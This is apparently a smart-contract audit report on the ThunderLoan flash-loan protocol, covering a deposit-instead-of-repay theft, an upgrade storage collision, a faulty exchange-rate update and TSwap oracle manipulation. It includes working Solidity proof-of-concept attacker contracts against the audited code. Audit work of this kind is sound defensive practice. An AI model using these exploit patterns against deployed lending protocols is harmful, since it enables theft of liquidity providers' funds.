



ThunderLoan Protocol Audit Report

Version 1.0

TrustWarden

March 4, 2025

ThunderLoan Protocol Audit Report

TrustWarden

March 4, 2025

Prepared by: TrustWarden Lead Auditors:

- TrustWarden

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- High
 - [H-1] Flash Loan Repayment Exploit: Depositing Instead of Repaying
 - [H-2] Mixing up variable location causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol
 - [H-3] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

- Medium
 - [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks and user gets a lot more cheaper flash loan fees

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can [deposit](#) assets into [ThunderLoan](#) and be given [AssetTokens](#) in return. These [AssetTokens](#) gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current [ThunderLoan](#) contract to the [ThunderLoanUpgraded](#) contract. Please include this upgrade in scope of a security review.

Disclaimer

The TrustWarden team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```

1  |-- interfaces
2  |   |-- IFlashLoanReceiver.sol
3  |   |-- IPoolFactory.sol
4  |   |-- ISwapPool.sol
5  |   |-- IThunderLoan.sol
6  |-- protocol
7  |   |-- AssetToken.sol
8  |   |-- OracleUpgradeable.sol
9  |   |-- ThunderLoan.sol
10 |-- upgradedProtocol
11    |-- ThunderLoanUpgraded.sol

```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
 - USDC
 - DAI
 - LINK
 - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

The audit process took 1 week, a throughout on all scope files, and found some high issues. Codebase was nice and clean and understandable, personally liked audit on ThunderLoan and get to know with flashloan and how to can be implement receiving funds.

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Info	0
Gas	0
Total	4

Findings

High

[H-1] Flash Loan Repayment Exploit: Depositing Instead of Repaying

Description: A user can exploit the protocol by using the deposit function to repay a flash loan instead of the intended repay function. This action mistakenly registers the user as a liquidity provider in the protocol, allowing them to redeem funds that belong to other genuine liquidity providers. The user only needs to cover the fee to execute this attack.

Impact: This exploit allows the attacker to steal all funds from liquidity providers within the protocol.

Proof of Concept:

1. The user takes a flash loan of 1000 WETH.
2. The user calls the deposit function.
3. This action wrongly registers the user as a liquidity provider using the actual funds from other liquidity providers.
4. The contract only verifies the contract's balance at the end of the flash loan.
5. The user calls the redeem function to withdraw their "deposit."

To demonstrate, place the following code into ThunderLoanTest.t.sol:

PoC

```
1  contract ThunderLoanTest {
2      ...
3
4      function testDepositInsteadOfRepayToStealFunds()
5          public
6          setAllowedToken
7          hasDeposits
8      {
9          uint256 amountToBorrow = 50e18;
10         DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
11             ));
12         console2.log(
13             "Start Balance of Malicious Contract: ",
14             tokenA.balanceOf(address(dor))
15         );
16         uint256 calculatedFee = thunderLoan.getCalculatedFee(
17             IERC20(tokenA),
18             amountToBorrow
19         );
20         tokenA.mint(address(dor), calculatedFee);
21         vm.startPrank(user);
22         thunderLoan.flashloan(address(dor), IERC20(tokenA),
23             amountToBorrow, "");
24         dor.redeemToken();
25         vm.stopPrank();
26
27         console2.log(
28             "End Balance of Malicious Contract: ",
29             tokenA.balanceOf(address(dor))
30         );
31         assert(
32             tokenA.balanceOf(address(dor)) >= amountToBorrow +
33                 calculatedFee
34         );
35     }
36 }
```

```
33
34 }
35
36 contract DepositOverRepay is IFlashLoanReceiver {
37     ThunderLoan thunderLoan;
38     address s_token;
39     AssetToken assetToken;
40
41     constructor(address _thunderLoan) {
42         thunderLoan = ThunderLoan(_thunderLoan);
43     }
44
45     function redeemToken() public {
46         assetToken = thunderLoan.getAssetFromToken(IERC20(s_token));
47         uint256 balance = assetToken.balanceOf(address(this));
48         thunderLoan.redeem(IERC20(s_token), balance);
49     }
50
51     function executeOperation(
52         address token,
53         uint256 amount,
54         uint256 fee,
55         address /*initiator*/,
56         bytes calldata /*params*/
57     ) external returns (bool) {
58         s_token = token;
59         IERC20(s_token).approve(address(thunderLoan), amount + fee);
60         thunderLoan.deposit(IERC20(s_token), amount + fee);
61         return true;
62     }
63
64 }
```

Recommended Mitigation: To prevent this exploit, implement a boolean state that deactivates the deposit function during flash loans, ensuring no one can deposit funds during this period.

[H-2] Mixing up variable location causes storage collision in

ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
1     uint256 private s_feePrecision;
2     uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1     uint256 private s_flashLoanFee; // 0.3% ETH fee
```

```
2      uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who takes out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concept:

1. Upgrade to `ThunderLoanUpgraded.sol`.
2. Users will take flash loans with a way more fees.
3. And if `s_currentlyFlashLoaning` has value will not allowed liquidity providers to redemption.

Place the follwing into `ThunderLoanTest.t.sol`.

PoC

```
1  import {ThunderLoanUpgraded} from "../src/upgradedProtocol/
   ThunderLoanUpgraded.sol";
2  .
3  .
4  .
5      function testUpgradeStorageCollision() public {
6          uint256 feeBeforeUpgrade = thunderLoan.getFee();
7          vm.startPrank(thunderLoan.owner());
8          ThunderLoanUpgraded thunderLoanUpgraded = new
               ThunderLoanUpgraded();
9          thunderLoan.upgradeToAndCall(address(thunderLoanUpgraded), "");
10         vm.stopPrank();
11         uint256 feeAfterUpgrade = thunderLoan.getFee();
12
13         console2.log("fee before upgrade: ", feeBeforeUpgrade);
14         console2.log("fee after upgrade: ", feeAfterUpgrade);
15         assert(feeBeforeUpgrade != feeAfterUpgrade);
16     }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee; // 0.3% ETH fee
5 + uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] Erroneous ThunderLoan::updateExchangeRate in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way, it's responsible for keeping track of how many fee to giving to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees!

```
1 function deposit(
2     IERC20 token,
3     uint256 amount
4 ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
5     AssetToken assetToken = s_tokenToAssetToken[token];
6     uint256 exchangeRate = assetToken.getExchangeRate();
7     uint256 mintAmount = (amount * assetToken.
8         EXCHANGE_RATE_PRECISION()) /
9         exchangeRate;
10    emit Deposit(msg.sender, token, amount);
11    assetToken.mint(msg.sender, mintAmount);
12    @> uint256 calculatedFee = getCalculatedFee(token, amount);
13    @> assetToken.updateExchangeRate(calculatedFee);
14    token.safeTransferFrom(msg.sender, address(assetToken), amount)
15    ;
16 }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is impossible for LP to redeem

PoC

place the following into `ThunderLoanTest.t.sol`

```
1     function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2         uint256 amountToBorrow = AMOUNT * 10;
3         uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
4             amountToBorrow);
5         vm.startPrank(user);
6         tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
7         thunderLoan.flashLoan(address(mockFlashLoanReceiver), tokenA,
8             amountToBorrow, "");
9         vm.stopPrank();
10
11        uint256 amountToRedeem = type(uint256).max;
12        vm.startPrank(liquidityProvider);
13        thunderLoan.redeem(tokenA, amountToRedeem);
14    }
```

Recommended Mitigation: Removed the incorrectly updated exchange rate lines from `deposit`.

```
1     function deposit(
2         IERC20 token,
3         uint256 amount
4     ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
5         AssetToken assetToken = s_tokenToAssetToken[token];
6         uint256 exchangeRate = assetToken.getExchangeRate();
7         uint256 mintAmount = (amount * assetToken.
8             EXCHANGE_RATE_PRECISION()) /
9             exchangeRate;
10        emit Deposit(msg.sender, token, amount);
11        assetToken.mint(msg.sender, mintAmount);
12        - uint256 calculatedFee = getCalculatedFee(token, amount);
13        - assetToken.updateExchangeRate(calculatedFee);
14        token.safeTransferFrom(msg.sender, address(assetToken), amount)
15        ;
16    }
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks and user gets a lot more cheaper flash loan fees

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from **ThunderLoan** for 1000 **tokenA**. They are charged the original fee **fee1**. During the flash loan, they do the following:
 1. User sells 1000 **tokenA**, tanking the price.
 2. Instead of repaying right away, the user takes out another flash loan for another 1000 **tokenA**,
 1. Due to the fact that the way **ThunderLoan** calculates price based on the **TSwapPool** this second flash loan is substantially cheaper.

```
1 function getPriceInWeth(address token) public view returns (uint256) {
2     address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
3 @>     return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
4     ();
5 }
```

3. The user then repays the first flash loan, and then repays the second flash loan.

Place the following code into **ThunderLoanTest.t.sol**.

PoC

```
1 contract ThunderLoanTest {
2     ...
3
4     function testOracleManipulation() public {
5         // 1. setup contracts
6         thunderLoan = new ThunderLoan();
7         tokenA = new ERC20Mock();
8         proxy = new ERC1967Proxy(address(thunderLoan), "");
9         BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
10        ;
11        // create a TSwap Dex between WETH / TokenA
12        address tswapPool = pf.createPool(address(tokenA));
13        thunderLoan = ThunderLoan(address(proxy));
14        thunderLoan.initialize(address(pf));
15        // 2. fund tswap
16        vm.startPrank(liquidityProvider);
17        tokenA.mint(liquidityProvider, 100e18);
18        tokenA.approve(address(tswapPool), 100e18);
19        weth.mint(liquidityProvider, 100e18);
20        weth.approve(address(tswapPool), 100e18);
21    }
```

```
20     BuffMockTSwap(tswapPool).deposit(
21         100e18,
22         100e18,
23         100e18,
24         block.timestamp
25     );
26     vm.stopPrank();
27     // 100 weth / 100 tokenA
28
29     // 3. fund tswap
30     // set allow
31     vm.prank(thunderLoan.owner());
32     thunderLoan.setAllowedToken(tokenA, true);
33     // fund
34     vm.startPrank(liquidityProvider);
35     tokenA.mint(liquidityProvider, 1000e18);
36     tokenA.approve(address(thunderLoan), 1000e18);
37     thunderLoan.deposit(tokenA, 1000e18);
38     vm.stopPrank();
39     // 100 weth / 100 tokenA in tswap
40     // 1000 tokenA in thunderLoan
41
42     // 4. take out 2 flash loans
43     //     a. to nuke the price of weth/tokenA on tswap
44     //     b. to show that doing so greatly reduces the fees we
45         pay on thunderloan
46     uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
47         100e18);
48     console2.log("Normal fee: ", normalFeeCost);
49
50     uint256 amountToBorrow = 50e18;
51     MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
52         (
53         address(tswapPool),
54         address(thunderLoan),
55         address(thunderLoan.getAssetFromToken(tokenA))
56     );
57     vm.startPrank(user);
58     tokenA.mint(address(flr), 100e18);
59     thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
60         ;
61     vm.stopPrank();
62
63     uint256 attackFeeCost = flr.feeOne() + flr.feeTwo();
64     console2.log("Attack fee: ", attackFeeCost);
65     assert(attackFeeCost < normalFeeCost);
66 }
67 }
68
69 contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
```

```
67     ThunderLoan thunderLoan;
68     address repayAddress;
69     BuffMockTSwap tswapPool;
70     bool attacked;
71     uint256 public feeOne;
72     uint256 public feeTwo;
73
74     // 1. swap tokenA borrowed for WETH
75     // 2. take out ANOTHER flash loan, to show difference
76     constructor(
77         address _tswapPool,
78         address _thunderLoan,
79         address _repayAddress
80     ) {
81         tswapPool = BuffMockTSwap(_tswapPool);
82         thunderLoan = ThunderLoan(_thunderLoan);
83         repayAddress = _repayAddress;
84     }
85
86     function executeOperation(
87         address token,
88         uint256 amount,
89         uint256 fee,
90         address /*initiator*/,
91         bytes calldata /*params*/
92     ) external returns (bool) {
93         if (!attacked) {
94             // 1. swap tokenA borrowed for WETH
95             // 2. take out ANOTHER flash loan, to show difference
96             feeOne = fee;
97             attacked = true;
98             uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
99                 50e18,
100                 100e18,
101                 100e18
102             );
103             IERC20(token).approve(address(tswapPool), 50e18);
104             // Will tanks the price
105             tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(
106                 50e18,
107                 wethBought,
108                 block.timestamp
109             );
110             // we call second flash loan
111             thunderLoan.flashloan(address(this), IERC20(token), amount,
112                 "");
113             //repay
114             // IERC20(token).approve(address(thunderLoan), amount + fee);
115             // thunderLoan.repay(IERC20(token), amount + fee);
116             IERC20(token).transfer(repayAddress, amount + fee);
```

```
116         } else {
117             // calculate fee and repay
118             feeTwo = fee;
119
120             //repay
121             // IERC20(token).approve(address(thunderLoan), amount + fee
122             );
123             // thunderLoan.repay(IERC20(token), amount + fee);
124             IERC20(token).transfer(repayAddress, amount + fee);
125         }
126         return true;
127     }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.